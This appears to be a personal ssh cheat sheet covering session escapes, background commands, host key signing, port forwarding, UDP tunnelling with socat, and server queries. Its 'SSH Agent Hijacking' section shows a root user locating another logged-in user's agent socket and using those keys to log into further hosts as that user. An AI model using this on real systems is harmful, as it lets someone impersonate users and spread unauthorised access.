ssh

Table of content

• Commands
• SSH Options
• Unresponsive Session
• Run command in background via ssh and no open ssh session
  • Via tmux
  • Via screen
• SSH pubkey signing
• Portforwarding
  • Reverseshell
  • UDP local forwarding
• SSH Agent Hijacking
• Find out which ips are used in a ip range (e.g. vlan) for undocumented vips
• Query OpenSSH server

Commands

SSH Options

Unresponsive Session

Sometimes it happens that you stay connected to a server while you do something else or walk away. Then it can happen, the when you return to your terminal where you executed the ssh command, that it got stuck and does not respond any more. Of course you could now close just the terminal and forget about it, but what if you have done other things in that one too and want to keep working in that one.

Well there is a easy way to do so, you just have to press the following keys one after the other and it will kill the session and return you to your old shell session of your terminal.

1. Enter
2. ~ Tilda
3. . Dot

After doing so you will see something like this:

myremoteuser@remotehost1:~$
myremoteuser@remotehost1:~$ Connection to remotehost1 closed
mylocaluser@localhost:~$

Returncode will be 255 for this action

Run command in background via ssh and no open ssh session

Via tmux

Make sure that you dont have remain-on-exit is not set in the tmux config This would keep the tmux session open till the user manually terminates it

$ ssh mydestinationhost "tmux myfancytmuxepidamicname -d \"sleep 10\""

Via screen

Make sure that you dont have zombie cr is not set in the screen config This would keep the screen session open till the user manually terminates it

$ ssh mydestinationhost screen -d -m "sleep 10"

SSH PUBKEY SIGNING

Generate CA for signing pubkeys It will ask your for a pwd, please use a good one ;)

$ ssh-keygen -f <caname>_ca

Now you will find two files in the directory: <caname>_ca and <caname>_ca.pub To sign now the pubkeys from the other hosts you should have them local available.

$ ssh-keygen -s <caname>_ca. -I <key_identifier> -h -n <host_name> host_pub_key_file #

Optional you can add a expire with -V e.g. -V +52w

Sample:

$ sudo ssh-keygen -s /home/suchademon/VersionControl/ssh-sign/we-are-the-sons-of-sparda_ca -I host_sparda -h -n sparda /etc/ssh/ssh_host_ed25519_key.pub
    [sudo] password for suchademon:
    Enter passphrase:
    Signed host key /etc/ssh/ssh_host_ed25519_key-cert.pub: id "host_sparda" serial 0 for sparda valid forever

Deploy new signed pub key to host and restart ssh daemon

Portforwarding

Forward multi ports from source host to destination in one ssh connect

$ ssh -R <SRCPORT>:<DESTIP>:<DESTPORT> -R <SRCPORT>:<DESTIP>:<DESTPORT>... -l root <SSHDESTINATION>

Sample:

$ ssh -R 9999:10.0.7.4:9999 -R8081:192.168.0.2:8081 -R8140:192.168.0.2:8140  -R389:10.0.9.5:389 -l root
$ ssh -R 27:192.168.0.1:22 -l root 192.168.1.2

Reverseshell

Such a port forward can also be used to establish a reverse shell connection like so:

$ ssh -R <RemotePort>:127.0.0.1:<YourLocalSshServerPort> <Remotehost/RemoteIP>

On local host (portforward (2002 to 22) from remote host to local host):

$ ssh -R 2002:127.0.0.1:22 192.168.1.2

on remote host (accessing the forwareded port):

$ ssh 127.0.0.1 -p 2002

UDP local forwarding

This comes handy because sometimes you need to forward UDP, but the local portforwarding of ssh (with parameter -L) only allows you TCP and not all applications connect via TCP.

Of course there are different ways to do so but for now we have a look how it is working with a tcp portforward + socat.

First of all, this requiers the softare socat to be installed.

And of course you need to have ssh access there and root access or sudo permissions to either become root or start socat

In Debian use can use the command apt install socat (as root or with sudo).

Next lets define some parameters:

• Application name: mytest_local_app
• Localhost: 192.168.10.1
• Destination host: 10.1.1.2
• Destination port: 4242
• Destination service name: mytest_dest_app

First you want to ssh to the server and start there the socat server (we assume you are able to become root, if not and you can use sudo to start socat just put sudo infront of the command):

$ socat -d -d -v TCP-LISTEN:24242,reuseaddr,fork UDP:localhost:4242

For testing, we kept the -d -d -v paremters to get output which can help on the anlysies.

You may ask your self now, why is there a TCP-LISTEN:24242 in there. This is where we will create the ssh portforwarding to, and socat will listen to that port and forwards it to localhost:4242 but as UDP.

Next we are going to setup on your local system the ssh local portforwardgin using he parameter -L:

$ ssh -N -L 24242:127.0.0.1:24242 <username>@10.1.1.2

This will create on your local system a listener on port 24242 which sends TCP packages through ssh to 10.1.1.2 at the port 24242.

At last, you want to start a socat listener on our local system as well using the following command:

$ socat -d -d -v UDP-LISTEN:4242,reuseaddr,fork TCP:127.0.0.1:24242

socat will start listening now as UDP on port 4242 on your local system and forwards (+ converts to TCP) to 127.0.0.1:24242.

To run a test, you can either use nc (netcat) to send a package through or just echo test | UDP:127.0.0.1:4242 and you should see that in both terminals where you are running socat that data got transmitted.

Of course it is possibel that you have your local forwarded port on the same number as your local running socat TCP forwarding port. Just keep in mind it can’t be the same as the original destination port as you need the remote socat port listener as well:

ssh -N -L 24242:127.0.0.1:24242 <username>@10.1.1.2
$ socat -d -d -v UDP-LISTEN:24242,reuseaddr,fork TCP:127.0.0.1:24242

I would also not recomend it, as you have to use then a different port then normal, meaning if you get access to a VPN/Network or so where where you don’t need to do the forwarding, you always have to change the configuration of your software based on the type of connection. So best, stick to the same port as it would use normaly, this generates less overhead.

As we know on 127.0.0.1:24242 we have our ssh local tcp portforwarder running the full path looks like this now:

mytest_local_app (UDP) <-> local-socat (UDP/TCP) <-> ssh portforwarder (TCP) <-> server-socat (TCP/UDP) <-> destination service (UDP)

SSH Agent Hijacking

First check if an addtional use is loged-in and check the user name

$ w
 14:08:38 up 29 days,  4:19,  2 users,  load average: 4.03, 1.60, 1.23
USER        TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
SOMEONEELSE pts/1    10.10.10.100     14:00    7.00s  0.03s  0.03s -bash
ISTME       pts/2    10.10.10.101     14:08    0.00s  0.04s  0.00s w

Become root

$ su -

Get process of the ssh session

$ pstree -p SOMEONEELSE
sshd(110863)───bash(110864)

Shortest way is to check the tmp dir, and search for agent.

$ find /tmp/ -name "agent.110863" | grep ssh
/tmp/ssh-TE6SgmexKR/agent.110863

Now you can just easily check the ssh agent

$ SSH_AUTH_SOCK=/tmp/ssh-TE6SgmexKR/agent.110863 ssh-add -l
256 ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab SOMEONEELSE@SOMETHING (ED25519)
16384 ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab:ab .ssh/id_rsa (RSA)

So you know that there are keys loaded and can use them ;)

$ SSH_AUTH_SOCK=/tmp/ssh-TE6SgmexKR/agent.110863 ssh SOMEONEELSE@HOST2

Find out which ips are used in a ip range (e.g. vlan) for undocumented vips

a="10.69.42."; for i in {150..152}; do echo "${a}${i}: $(ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=1 -o ConnectionAttempts=1 -q ${a}${i} hostname 2>/dev/null)"; done

Query OpenSSH server

You can fetch informations like ciphers, mak and so on from running OpenSSH serivce by using ssh -Q This will return you the list of resultes.

For example quering security configuration from a server:

$ for f in cipher mac kex key ; do echo "$f:" ;  ssh -Q $f 10.42.42.1 ; echo ; echo ; echo ; done